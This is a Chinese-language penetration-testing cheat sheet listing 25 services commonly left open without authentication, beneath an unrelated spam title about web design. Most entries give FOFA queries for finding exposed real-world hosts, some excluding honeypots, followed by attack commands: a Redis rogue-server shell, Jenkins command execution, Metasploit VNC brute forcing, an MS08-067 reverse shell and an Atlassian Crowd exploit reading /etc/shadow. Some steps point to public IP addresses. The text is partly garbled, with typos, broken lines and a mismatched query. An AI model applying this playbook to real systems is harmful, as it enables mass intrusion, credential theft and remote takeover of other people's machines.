佛山市专业的网站设计_南宁广告设计与制作公司_广告商对接平台_html网页制作app

1.Redis未授权访问漏洞

进⼊⽬录：
cd /vulhub-master/redis/4-unacc
启动：
docker-compose up -d
检查：
docker ps

#安装redis
apt install redis

#redis链接
redis-cli -h 8.155.8.144 -p 6379#redis
常⻅命令
查看信息：info

get shell

#复制镜像
git clone https://github.com/n0b0dyCN/redis-rogue-server
cd redis-rogue-server/
python3 redis-rogue-server.py 
#使⽤⼯具执⾏以下命令获取⽬标的命令执⾏环境，交互时输⼊i 键会获取Shell环境 
python3 redis-rogue-server.py  --rhost 8.155.8.144 --lhost 8.155.8.144

获取到shell

2.MongoDB未授权访问漏洞

#拉取镜像：
docker pull mongo
#启动容器：
docker run  -d -p  27017:27017  --name  mongodb mongo
#查看容器：
docker ps -a

3.Memcached

#Memcached
程序下载
https://www.runoob.com/memcached/window-install-memcached.html
#执⾏命令
memcached.exe -d install
memcached.exe -d start

telnet 172.16.3.61  11211

stats

4.Zookeeper未授权访问漏洞

#fofa语句
port="2181" && "Zookeeper" && country="US"
#在kali检测
echo envi | nc ip 端口
#可使用Zookeeper可视化管理工具进⾏连接
https://issues.apache.org/jira/secure/attachment/12436620/ZooInspector.zip

35.162.110.1:2181

 echo envi | nc ip 端⼝ 

5.Jenkins

#fofa语句
port="8080" && app="JENKINS" && title=="Dashboard [Jenkins]"

println "命令" .execute().text

6.Jupyter NoteBook

#fofa语法
"Jupyter Notebook" && port="8888" && "terminals"
#vulhub靶场
cd /vulhub/jupyter/notebook-rce
docker-compose up -d

7.Elasticsearch

#fofa语句
"Elasticsearch" && port="9200"

8.Kibana

#fofa语句
"kibana" && port="5601"

9.Docker Remote API

#fofa语句
port="2375" && "docker"

10.Kubernetes Api Server

#fofa语句
port="8080" && app="Kubernetes"

11.Hadoop

#fofa语句
port="8088" && app="Hadoop"

12.ActiveMQ

 #fofa语句
body="ActiveMQ" && port="8161"目录admin
账号密码:admin

13.RabbitMQ

#fofa语句
port="15672" 
port="15692" 
port="25672"账号密码:guest

14.Springboot Actuator

#fofa语句
icon_hash="116323821"

15.FTP(匿名登陆)

16.JBoss

#fofa语句
title="Welcome to JBoss"

17.Ldap

#Fofa语法
port="389"
#Ldapadmin工具
http://www.ldapadmin.org/download/index.html

18.Rsync

# Fofa语法
(port="873") && (is_honeypot=false && is_fraud=false)
# 启动靶场
cd vulhub/rsync/common
docker-compose up -d
# 读取文件执行命令
rsync rsync://IP:873/
rsync rsync://IP:873/src/

19.VNC

步骤⼀：使⽤以下语句在Fofa上进⾏资产收集

(port="5900") && (is_honeypot=false && is_fraud=false)

步骤⼆：可通过MSF中的模块进⾏检测与漏洞利⽤

# VNC未授权检测
msf6 > use auxiliary/scanner/vnc/vnc_none_auth
msf6 auxiliary(scanner/vnc/vnc_none_auth) > show options
msf6 auxiliary(scanner/vnc/vnc_none_auth) > set rhosts 172.16.1.1-254
msf6 auxiliary(scanner/vnc/vnc_none_auth) > set threads 100
msf6 auxiliary(scanner/vnc/vnc_none_auth) > run
# VNC密码爆破
msf6 > use auxiliary/scanner/vnc/vnc_login
msf6 auxiliary(scanner/vnc/vnc_login) > set rhosts 172.16.1.200
msf6 auxiliary(scanner/vnc/vnc_login) > set blank_passwords true //弱密码爆
破
msf6 auxiliary(scanner/vnc/vnc_login) > run
# 加载攻击模块
msf6 exploit(windows/smb/ms08_067_netapi) > use exploit/windows/smb/ms08_0
67_netapi
msf6 exploit(windows/smb/ms08_067_netapi) > set payload windows/meterprete
r/reverse_tcp
msf6 exploit(windows/smb/ms08_067_netapi) > set rhosts 172.16.1.200
msf6 exploit(windows/smb/ms08_067_netapi) > set lhost 172.16.1.10
msf6 exploit(windows/smb/ms08_067_netapi) > set target 34
msf6 exploit(windows/smb/ms08_067_netapi) > exploit
获取会话后，直接run vnc可控制远程虚拟机
# 直接控制远程机器
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/vncinject/reverse_tcp
msf6 exploit(multi/handler) > set lhost 172.16.1.200
msf6 exploit(multi/handler) > set lport 4466
msf6 exploit(multi/handler) > exploit

步骤三：VNC链接验证

vncviewer ipaddress

20.Dubbo

步骤⼀：使⽤以下语句在Fofa上进⾏资产收集

(app="APACHE-dubbo") && (is_honeypot=false && is_fraud=false)

步骤⼆：使⽤Telnet程序直接进⾏链接测试

telent IP port

21.NSF共享⽬录

步骤⼀：使⽤以下语句在Fofa上进⾏资产收集

"nfs"

步骤⼆：执⾏命令进⾏漏洞复现

#安装nfs客户端
apt install nfs-common
#查看nfs服务器上的共享⽬录
showmount -e IP
#挂载相应共享⽬录到本地
mount -t nfs IP:/grdata /mnt
#卸载⽬录
umount /mnt

22.Druid

步骤⼀：使⽤以下语句在Fofa与Google上进⾏资产收集....

# Fofa
title="Druid Stat Index"
# PHPINFO⻚⾯
inurl:phpinfo.php intitle:phpinfo()
info.php test.php# Druid未授权访问
inurl:"druid/index.html" intitle:"Druid Stat Index"

步骤⼆:对访问到的站点查看

步骤三：Druid批量扫描脚本...

https://github.com/MzzdToT/CVE-2021-34045

23.CouchDB

步骤⼀：使⽤以下语句在Fofa上进⾏资产收集....或开启Vulhub靶场进⾏操作

# 搜索语法
(port="5984") && (is_honeypot=false && is_fraud=false)
# Vulhub靶场
cd /vulhub/couchdb/CVE-2017-12636
docker-compose up -d

步骤⼆：执⾏未授权访问测试命令

curl 192.168.1.4:5984
curl 192.168.1.4:5984/_config

步骤三：反弹Shell参考

https://blog.csdn.net/qq_45746681/article/details/108933389

24.Altassian Crowd

步骤⼀：使⽤以下语句在Fofa上进⾏资产收集

(port="554") && (is_honeypot=false && is_fraud=false) && protocol="rtsp" 

步骤⼆：执行攻击命令并验证

python2 CVE-2019-11580.py http://192.168.116.132:8095/
curl http://192.168.116.132:8095/crowd/plugins/servlet/exp?cmd=cat%20/etc/shadow

25.RTSP

(port="554") && (is_honeypot=false && is_fraud=false) && protocol="rtsp"

rtsp://admin:admin@192.168.1.1:554/cam/realmonitor?channel=2&subtype=1